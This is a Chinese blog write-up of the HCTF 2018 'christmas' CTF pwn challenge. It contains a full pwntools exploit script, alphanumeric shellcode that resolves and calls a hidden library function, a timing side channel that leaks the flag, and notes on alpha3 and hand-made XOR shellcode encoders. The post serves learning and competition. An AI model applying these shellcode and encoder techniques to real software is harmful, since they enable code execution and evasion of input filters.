2018HCTF-Christmas
2019.03.02
V1NKe
 热度
℃
前言: 因为复现的过程中觉得这道题和我之前做的一个六字节shellcode
的题目很相像,所以先打算复现它,但是在搞清楚这道题的思路的整个过程很是艰难,花了好大的劲才算基本吃透了这题。
正文: 1 2 3 4 5 6 7 8 ➜ christmas checksec ./christmas [*] '/home/parallels/Desktop/HCTF/christmas/christmas' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
没开PIE。所以可以在此基础上泄漏libc了。
整个程序就是mmap了两块相邻的堆。一块可执行,一块不可执行,在可执行的堆块上写shellcode
,且只能为数字和字母。flag在libflag.so
文件中。轮到执行我们所写的shellcode
的时候寄存器和栈的情况是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 RAX 0x69d352aa000 ◂— mov rsp, rdi /* 0x3148f08948fc8948 */ RBX 0x0 RCX 0x0 RDX 0x0 RDI 0x0 RSI 0x0 R8 0x0 R9 0x0 R10 0x0 R11 0x0 R12 0x0 R13 0x0 R14 0x0 R15 0x0 RBP 0x401000 ◂— push r15 RSP 0xd7061684800 ◂— 0x0 RIP 0x69d352aa02d ◂— xor rbp, rbp /* 0x61ed3148 */ ─────────────[ DISASM ]──────────── 0x69d352aa01e xor r11, r11 0x69d352aa021 xor r12, r12 0x69d352aa024 xor r13, r13 0x69d352aa027 xor r14, r14 0x69d352aa02a xor r15, r15 ► 0x69d352aa02d xor rbp, rbp ───────[ STACK ]───────── 00:0000│ rsp 0xd7061684800 ◂— 0x0 ... ↓ ────────[ BACKTRACE ]─────── ► f 0 69d352aa02d f 1 0 pwndbg>
我们的思路是这样的:
先泄漏拿到libc基地址和libflag.so
的基地址。
往前盲测,在libflag.so
中搜索Dynamic
段拿到STRTAB
和SYMTAB
段地址。
通过flag_yes_
字符串在STRTAB
段中搜索,得到偏移。
通过上面的偏移在SYMTAB
段中搜索flag_yes
的函数偏移。
call flag_yes
运行flag函数。
通过侧信道来盲注flag
。
一下一步步讲这些的过程的shellcode
编写过程。编写的shellcode
不能有\x00
字符。
泄漏libc: 1 2 3 4 asm(sc.mov('rax',0x602030))+\ -->puts@got asm('mov rbx,[rax]')+\ -->拿到真实函数地址 asm(sc.mov('rcx',0x6f690))+\ asm('sub rbx,rcx')+\ -->拿到libc基地址
get段地址: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 asm(sc.push(0x6FFFFEF5))+\ -->DT_GNU_HASH处固定值,便于搜索 asm(''' start : push 4 pop rcx mov rdi,rbx mov rsi,rsp cld repe cmpsb jz do sub rbx,1 jnz start do : add rbx,0x18 mov r10,[rbx] -->拿到DT_STRTAB地址 add rbx,0x10 mov r11,[rbx] -->拿到DT_SYMTAB地址 sub rdi,0x1c mov rcx,[rdi] sub rbx,0x78 sub rbx,0x30 sub rbx,rcx mov r12,rbx -->拿到libflag.so基地址 ''')
上面拿到的DT_STRTAB和DT_SYMTAB地址是真实地址(不是偏移地址)。具体的DYNAMIC段我们来看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 LOAD:0000000000601E08 stru_601E08 Elf64_Dyn <1, 1> ; DATA XREF: LOAD:0000000000400130↑o LOAD:0000000000601E08 LOAD:0000000000601E08 ; DT_NEEDED libseccomp.so.2 LOAD:0000000000601E18 Elf64_Dyn <1, 9Bh> ; DT_NEEDED libdl.so.2 LOAD:0000000000601E28 Elf64_Dyn <1, 0B5h> ; DT_NEEDED libc.so.6 LOAD:0000000000601E38 Elf64_Dyn <0Ch, 4009D8h> ; DT_INIT LOAD:0000000000601E48 Elf64_Dyn <0Dh, 401074h> ; DT_FINI LOAD:0000000000601E58 Elf64_Dyn <19h, 601DF0h> ; DT_INIT_ARRAY LOAD:0000000000601E68 Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ LOAD:0000000000601E78 Elf64_Dyn <1Ah, 601DF8h> ; DT_FINI_ARRAY LOAD:0000000000601E88 Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ LOAD:0000000000601E98 Elf64_Dyn <6FFFFEF5h, 400298h> ; DT_GNU_HASH LOAD:0000000000601EA8 Elf64_Dyn <5, 4005B0h> ; DT_STRTAB LOAD:0000000000601EB8 Elf64_Dyn <6, 4002E0h> ; DT_SYMTAB LOAD:0000000000601EC8 Elf64_Dyn <0Ah, 180h> ; DT_STRSZ
上面的DT_FINI_ARRAY和DT_INIT_ARRAY的第二个值是偏移地址不是真实地址。所以可以用他们任意一个来得到基地址。具体的可以自行写一个调试看看。
STRTAB段搜索: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 asm('mov rbx,r10')+\ -->strtab段地址 asm(sc.pushstr('flag_yes_'))+\ -->逐字节查找字符串 asm(''' start : push 9 pop rcx mov rdi,rbx mov rsi,rsp cld repe cmpsb jz do add rbx,1 jnz start do : sub rbx,r10 -->拿到偏移 ''')+\ asm('mov rax,rbx')+\
SYMTAB段搜索: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 asm('mov rbx,r11')+\ -->SYMTAB段地址 asm('push rax')+\ -->逐字符查找上面拿到的偏移 asm(''' start : push 3 pop rcx mov rdi,rbx mov rsi,rsp cld repe cmpsb jz do add rbx,1 jnz start do : ''')+\ asm('mov rax,rbx')+\ asm('add rax,0x8')+\ asm('mov rbx,[rax]')+\ -->拿到flag_yes函数偏移地址 asm('add rbx,r12')+\ -->得到真实地址 asm('call rbx')
侧信道盲注flag: 1 2 3 4 5 6 7 8 9 10 11 12 13 asm(''' add al,%d -->call完函数返回一个字符串地址 xor rbx,rbx xor rcx,rcx mov bl,[rax] add cl,%d -->对比单个字符 cmp bl,cl jz do -->如果为0则进入死循环,即相等 xor rax,rax mov al,60 -->syscall exit syscall do : '''%(index,asc))+asm(sc.infloop())
因为程序只能用exit函数,所以无法打印出字符串,那么我们就换一种方式来输出字符串。flag的每个字符串我们都一个一个对比过去,如果一个对比相等则进入死循环,然后接下来对比第二个。
利用: 当进入死循环的时候我们就好利用了,我们设置接收超时时间为2。当进入死循环时我们就可以判定超时,从而得到我们想要的字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 p.recvuntil('tell me how to find it??\n') #gdb.attach(p) p.sendline(payload) start = time.time() p.can_recv(timeout=2) -->设置超时时间 end = time.time() p.close() if end - start > 2 : #print asc return True else : #p.close() return False
encode payload: 这里因为shellcode
只能用数字和字母,所以我们需要加密一下shellcode
,这里有一个工具叫alpha3
,可以用它来突破。当然也可以自己手写加密(难度要求蛮高的,我太菜了)。不过不能直接在Linux中使用,需要适当的修改一下。
我这里自己另写了一个小程序了解了一下他的编码过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0x10bc79a9a030 push rax 0x10bc79a9a031 push 0x36363630 0x10bc79a9a036 push rsp 0x10bc79a9a037 pop rcx 0x10bc79a9a038 xor dword ptr [rcx], esi 0x10bc79a9a03a xor esi, dword ptr [rcx] 0x10bc79a9a03c pop rax 0x10bc79a9a03d push 0x33333333 0x10bc79a9a042 xor dword ptr [rcx], esi 0x10bc79a9a044 imul esi, dword ptr [rcx], 0x33 0x10bc79a9a047 pop rax 0x10bc79a9a048 push 0x69 0x10bc79a9a04a push rsi 0x10bc79a9a04b xor dword ptr [rcx], esi 0x10bc79a9a04d movsxd rsi, dword ptr [rcx] 0x10bc79a9a050 pop rdx 0x10bc79a9a051 pop rax 0x10bc79a9a052 pop rcx ► 0x10bc79a9a053 xor word ptr [rcx + rsi*2 + 0x49], dx
他首先先设置好基地址和各个基数,给后面的解码打上基础。在0x10bc79a9a053处第一次解码,我们先看看原来的内存上的shellcode:
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/20xg 0xa9a5331c000 0xa9a5331c000: 0x3148f08948fc8948 0x48d23148c93148db 0xa9a5331c010: 0xc0314df63148ff31 0x314dd2314dc9314d 0xa9a5331c020: 0x4ded314de4314ddb 0xed3148ff314df631 0xa9a5331c030: 0x3636363068503234 0x6858313331315954 0xa9a5331c040: 0x316b313133333333 0x48313156696a5833 0xa9a5331c050: 0x54316659585a3163 0x71446b3966484971 0xa9a5331c060: 0x4430587144323057 0x3047324d33754831 0xa9a5331c070: 0x00000030304f3737 0x0000000000000000 pwndbg> p $rcx + $rsi*2 + 0x49 $2 = 0xa9a5331c05b
也就是他把0x3966异或了一下,即将接下来要执行的shellcode解码了。解码后的情况:
1 0xa9a5331c050: 0x54316659585a3163 0x71446bc6ff484971
0x3966变成了0xc6ff,看看汇编情况:
1 2 >>> disasm('\x48\xff\xc6') ' 0: 48 ff c6 inc rsi'
往后看:
1 2 3 4 5 6 0xa9a5331c055 xor word ptr [rcx + rsi*2 + 0x49], dx 0xa9a5331c05a inc rsi 0xa9a5331c05d imul eax, dword ptr [rcx + rsi*2 + 0x57], 0x30 0xa9a5331c062 xor al, byte ptr [rcx + rsi*2 + 0x58] 0xa9a5331c066 xor byte ptr [rcx + rsi + 0x48], al ► 0xa9a5331c06a ✔ jne 0xa9a5331c05a
这里其实就是循环解码了,逐个解码真正的最重要的shellcode的部分:
1 2 3 0xa9a5331c060: 0x4430587144323057 0x3047324d33754831 |-->从0x33开始解码 0xa9a5331c070: 0x00000030304f3737 0x0000000000000000
所有解码完成后:
1 2 3 4 5 6 7 8 0xa9a5331c060: 0x4430587144323057 0x0058056aee754831 |-->shellcode终点,停止执行 0xa9a5331c070: 0x00000030304f3737 0x0000000000000000 |-------| | |----->这些相当于只是辅助循环解码的字符,总共十个, (前面还有五个)两两辅助一个解码,最终五个 shellcode。
解码完成后的shellcode:
1 2 ► 0xa9a5331c06c push 5 0xa9a5331c06e pop rax
我所写的则是mov rax,0x5
。
那么我们现在就可以来修改一下了,当我们直接使用alpha3
的时候程序会崩溃在这里:
1 2 3 4 5 0x10bc79a9a050 pop rdx 0x10bc79a9a051 pop rax 0x10bc79a9a052 pop rcx 0x10bc79a9a053 xor word ptr [rcx + rsi*2 + 0x49], dx ► 0x10bc79a9a058 cmp word ptr [rbx + 0x44], bp
因为这里的$rbx + 0x44为0。所以崩溃,仔细看可以发现这里和我们上面所跟踪的:
1 2 0xa9a5331c055 xor word ptr [rcx + rsi*2 + 0x49], dx 0xa9a5331c05a inc rsi
这里一样,只是崩溃的汇编代码没有正确执行到inc rsi
。所以我们就明白具体需要修改哪里了。这里只要加上42(xor rax, ‘2’),修正base addr,就可以用了。
成功跑出flag:
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 from pwn import * import time import os import pwnlib.shellcraft.amd64 as sc context.arch = 'amd64' #context.log_level = 'debug' playload = asm(sc.mov('rax',0x602030))+\ asm('mov rbx,[rax]')+\ asm(sc.mov('rcx',0x6f690))+\ asm('sub rbx,rcx')+\ asm(sc.push(0x6FFFFEF5))+\ asm(''' start : push 4 pop rcx mov rdi,rbx mov rsi,rsp cld repe cmpsb jz do sub rbx,1 jnz start do : add rbx,0x18 mov r10,[rbx] add rbx,0x10 mov r11,[rbx] sub rdi,0x1c mov rcx,[rdi] sub rbx,0x78 sub rbx,0x30 sub rbx,rcx mov r12,rbx ''')+\ asm('mov rbx,r10')+\ asm(sc.pushstr('flag_yes_'))+\ asm(''' start : push 9 pop rcx mov rdi,rbx mov rsi,rsp cld repe cmpsb jz do add rbx,1 jnz start do : sub rbx,r10 ''')+\ asm('mov rax,rbx')+\ asm('mov rbx,r11')+\ asm('push rax')+\ asm(''' start : push 3 pop rcx mov rdi,rbx mov rsi,rsp cld repe cmpsb jz do add rbx,1 jnz start do : ''')+\ asm('mov rax,rbx')+\ asm('add rax,0x8')+\ asm('mov rbx,[rax]')+\ asm('add rbx,r12')+\ asm('call rbx') def addplayload(index,asc) : tmp = playload+asm(''' add al,%d xor rbx,rbx xor rcx,rcx mov bl,[rax] add cl,%d cmp bl,cl jz do xor rax,rax mov al,60 syscall do : '''%(index,asc))+asm(sc.infloop()) #mov al,%d;add al,%d f = open('shell','wb') f.write(tmp) f.close() def encode(index,asc) : addplayload(index,asc) a = os.popen("python ~/alpha3/ALPHA3.py x64 ascii mixedcase RAX --input='shell'") payload = '42' #replace base addr payload += a.read() a.close() return payload def exp(index,asc) : p = process('./christmas') payload = encode(index,asc) p.recvuntil('tell me how to find it??\n') #gdb.attach(p) p.sendline(payload) start = time.time() p.can_recv(timeout=3) end = time.time() p.close() if end - start > 2 : #print asc return True else : #p.close() return False def start() : scaii = '{}_+=-~?";:1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' flag = 'HCTF{' for i in range(5,40) : for j in scaii : try : print '(%d,%d)'%(i,ord(j)) if exp(i,ord(j)) : print j flag += j print flag #raw_input('') if j == '}' : print flag exit() except Exception as e : print e if __name__ == '__main__' : start()
待填坑: 找lib另一种方法:
因为程序没有pie,我们可以在got等地方get libc的地址,通过偏移算出libc_dlsym,然后调用这个函数解析flag_yes_1337所在位置。
编写encoder
加密:
encode无非是xor,或一层,直接用解密真实shellcode;或两层,先解密一个精致的encoder,这个encoder再去解密真实的shellcode。
我采用了一层的做法,这样做的缺点就是encode后shellcode长度会膨胀很厉害。
如何xor指定offset的一个byte??
1 2 3 4 xor [rax+rdi],dl xor [rax+rdi],dh xor [rax+rdi+0x32],dl xor [rax+rdi+0x32],dh
这些都是比较好的gadget。那问题就到了如何设置rdi上。
1 2 3 4 push XXX push rsp pop rcx imul edi,[rcx],YYY
因为imul的对象是edi,因此可以将最高位溢出,得到一个几乎任意的edi值,但是XXX和YYY除都必须是alphanumeric,这个问题不大,我做了打表处理。
举个例子,我们要xor idx为80处的byte,可以通过一下代码实现。
1 2 3 4 5 push 1431655766 push rsp pop rcx imul edi,[rcx],48 xor [rax+rdi+48],dl
idx的问题解决了,就是怎么合理设置dl或dh的值让所有byte xor或不xor后,结果都落在alphanumeric范围中。
我用脚本跑了一下,[0x80,0xff] 的字符最少需要4个不同的值才能全部xor到alphanumeric,而[0x00,0x7f]只需要3个不同的值。
比如我们取 0x30,0x59,0x55来xor [0x00,0x7f] ,取0x80,0xc0,0x88,0xc8来xor [0x80,0xff],分别放到dh和dl,就有了下面4个int,这几个值都能通过上面设置idx的方法得到。
1 2 3 4 r8 : 0x3080 r9 : 0x59c0 r10 : 0x5988 rdx : 0x55c8
这样无论遇到什么byte,我们都能通过这个方法xor了 。
参考链接: https://xz.aliyun.com/t/3253#toc-4
https://xz.aliyun.com/t/3255#toc-16